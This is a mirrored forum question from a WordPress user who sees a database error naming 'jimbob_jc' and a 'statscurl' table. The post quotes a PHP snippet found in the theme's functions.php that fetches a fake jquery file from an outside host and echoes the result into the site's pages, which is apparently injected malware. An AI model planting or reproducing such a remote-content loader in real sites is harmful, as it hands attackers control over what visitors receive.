Couldn't find database jimbob_jc

2019-08-16 19:57发布

问题:

I'm using WordPress, and I get an error with following message:

Couldn't connect to database server.Couldn't find database jimbob_jc. An unexpected problem has occured with the application. SELECT statscurl_id FROM statscurl WHERE statscurl_ip = '';

What does that mean? How do I fix it?

I have searched Google, but I've not had any success with others having similar problems.

Someone said "Comment out the following code in the header.php file":

<?php
  if(function_exists('curl_init'))
  {
    $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
    $ch = curl_init();  
    $timeout = 5;  

    curl_setopt($ch,CURLOPT_URL,$url); 
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
    $data = curl_exec($ch);  

    curl_close($ch); 
    echo "$data";
  }
?>

I found it in functions.php, but it doesn't work.

标签: wordpress